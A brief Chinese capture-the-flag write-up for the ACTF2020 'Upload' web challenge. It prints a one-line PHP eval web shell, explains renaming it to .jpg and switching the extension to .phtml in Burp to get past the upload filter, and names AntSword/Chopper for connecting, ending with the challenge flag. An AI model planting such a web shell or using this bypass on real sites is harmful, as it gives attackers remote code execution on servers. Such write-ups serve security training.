日常练习之web（[ACTF2020 新生赛]Upload）

打开题目是一个灯泡，放上去会出现上传文件，但是只能上传jpg等图片类型的文件

很明显上传一个图片马

<script language='php'>@eval($_POST['pass']);</script>

放到txt里后缀名改成jpg格式，burp抓一下包，把jpg改成phtml绕过php检测

这里可以看到上传成功

拿出蚁剑或者菜刀连接你上传的木马在根目录下找到flag

flag{1db8d2ff-bc9d-4d06-a4ef-94757f236712}